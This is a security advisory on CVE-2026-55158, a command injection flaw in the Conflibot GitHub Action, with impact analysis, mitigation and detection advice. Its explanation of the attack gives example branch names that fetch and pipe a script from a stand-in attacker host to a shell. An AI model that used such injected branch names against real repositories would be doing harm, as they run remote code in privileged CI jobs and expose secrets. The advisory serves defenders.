Overview
Conflibot is a GitHub Action that warns maintainers in advance when merging one pull request will cause conflicts in other open pull requests. To do this useful job, it has to actually attempt the merges: it checks out branches, runs git merge, and generates patches with git format-patch for every open PR it compares against.
CVE-2026-55158 (CVSS 9.1, Critical) is a command injection vulnerability in Conflibot versions before 1.2.1. The bot's src/index.ts builds those git checkout, git merge, and git format-patch commands by directly interpolating the pull request's head.ref value — the name of the PR's source branch — into strings that are then handed to a shell-executing exec call. Because head.ref is fully attacker-controlled (anyone, including an unauthenticated fork owner, can name a branch anything they like), an attacker can turn a branch name into an arbitrary shell command that Conflibot will happily run.
The blast radius depends entirely on how the workflow is wired up, and the documented Conflibot setup makes it as bad as it can get: the recommended trigger is pull_request_target, which runs in the context of the base repository rather than the fork, with full access to repository secrets and a write-scoped GITHUB_TOKEN. That combination — attacker-controlled input, shell interpolation, and a privileged execution context — is what pushes this to critical severity.
Technical Details
| Field | Value |
|---|---|
| CVE ID | CVE-2026-55158 |
| CVSS v3.1 Score | 9.1 (Critical) |
| Vulnerability Class | OS Command Injection (CWE-78) |
| Component | src/index.ts — git command construction |
| Attack Vector | Network (pull request from any contributor, including forks) |
| Privileges Required | None |
| User Interaction | None (runs automatically on pull_request_target) |
| Affected Versions | Conflibot before 1.2.1 |
| Fixed Version | 1.2.1 (the 2.0.0 line also replaced the vulnerable code path) |
How It Works
Conflibot's conflict-checking logic needs to compare an open pull request against every other open pull request to see whether merging one would break the others. To do that comparison it shells out to git for each candidate branch, and prior to 1.2.1 it built those commands as plain strings, something conceptually equivalent to:
exec(`git checkout ${headRef}`)
exec(`git merge ${otherHeadRef}`)
exec(`git format-patch ${baseRef}..${headRef}`)
headRef here comes straight from the pull request payload's head.ref field — the name of the branch the PR was opened from. Git branch names are permissive: they can contain spaces, backticks, $() command substitution, semicolons, pipes, and ampersands, with only a handful of characters actually forbidden. An attacker doesn't need write access to the target repository at all — they only need to be able to open a pull request, which on a public repository means forking it and pushing a branch with a name like `curl attacker.example/x|sh` or ; curl attacker.example/x | sh #.
When the string containing that branch name is passed to an exec-style call that runs through a shell, the shell metacharacters are interpreted rather than treated as a literal branch name. The attacker's payload executes as a separate command in the same shell context Conflibot itself runs in — not "inside git," but alongside it, with whatever privileges the CI job holds.
That's the part that turns a parsing quirk into a critical bug: Conflibot's documented setup runs on pull_request_target, a GitHub Actions event that — unlike plain pull_request — executes using the workflow file and secrets of the base repository, even when triggered by a fork. The job gets a write-scoped GITHUB_TOKEN and access to any repository or organization secrets configured for it. The injected command runs there, automatically, the moment the malicious pull request is opened, with no maintainer review or approval step in between.
Impact Assessment
Who Is At Risk
Any repository that runs Conflibot before 1.2.1 on pull_request_target (the documented configuration) and accepts pull requests from outside contributors or forks — which is the normal case for most open source projects, and increasingly common for internal repos that welcome cross-team contributions.
Potential Attack Chains
- Secret exfiltration — read
GITHUB_TOKENand any configured repository/organization secrets out of the runner environment and send them to an attacker-controlled endpoint. - Unauthorized pushes and tag creation — use the write-scoped token to push commits, create tags or releases, or modify branch protection–adjacent settings the token has access to.
- Supply chain compromise — modify workflow files or package manifests in a way that persists malicious behavior into subsequent builds or published artifacts.
- Lateral movement — pivot from a single compromised token into other systems that trust the repository (package registries, deployment pipelines, other integrations authorized against the same GitHub App or PAT).
Mitigation
Immediate Actions
- Upgrade Conflibot to 1.2.1 or later (or the 2.0.0+ line) in every workflow file that references it — check pinned action versions/SHAs, since a
@v1or unpinned reference may already resolve to a fixed release while an explicitly pinned older tag will not. - Rotate any secrets available to workflows that ran the vulnerable version on
pull_request_target, includingGITHUB_TOKEN-derived credentials if they were used to mint longer-lived tokens, and any repository or organization secrets exposed to that job. - Audit recent pull request activity for branch names containing shell metacharacters (backticks,
$(,;,|,&) and for any workflow runs that behaved unexpectedly around the time such a PR was opened.
Detection Opportunities
- Search GitHub Actions run logs for Conflibot jobs where the branch name field contains non-alphanumeric shell metacharacters.
- Look for unexpected outbound network calls from the Conflibot job step (exfiltration attempts typically reach out to an external host).
- Review audit logs for token usage, pushes, or secret access that don't correspond to a legitimate maintainer action, particularly ones timestamped immediately after a pull request was opened by an unfamiliar or first-time contributor.
Defence-in-Depth
- Prefer
pull_requestoverpull_request_targetwherever the workflow doesn't strictly need base-repository secrets; ifpull_request_targetis required, avoid checking out or executing anything derived from the fork's contents or metadata. - Apply least-privilege
permissions:blocks to every workflow, scopingGITHUB_TOKENdown from its default write access to only what the job needs. - Treat any bot or action that shells out using PR-supplied strings (branch names, titles, labels, commit messages) as a potential injection point, and prefer tools that pass arguments as arrays to
execFile/spawnrather than building interpolated shell strings.
Background
Conflibot joins a long and recurring line of GitHub Actions vulnerabilities rooted in the same mistake: treating pull-request-controlled strings — head.ref, PR titles, commit messages, issue bodies — as safe to drop into a shell command. github.head_ref and pull_request.head.ref are attacker-controlled by design; nothing about opening a pull request requires trust, and forks make that input available to anyone on the internet for public repositories. Similar flaws have been found and fixed in other widely used actions and bots, including branch-name-handling utilities and CI helpers across the ecosystem — the pattern is common enough that it's become one of the first things security reviewers check when auditing a pull_request_target workflow.
The fix pattern is consistent too: stop building shell strings from untrusted input. Use execFile or spawn with argument arrays instead of exec with a template string, so metacharacters in a branch name are passed as literal data rather than interpreted by a shell — or, as Conflibot's own newer major version reportedly does, avoid branch names entirely in favor of stable numeric pull request references. Any project that maintains its own bots, GitHub Apps, or CI automation touching pull request metadata should treat this class of bug as a standing audit item, not a one-time fix.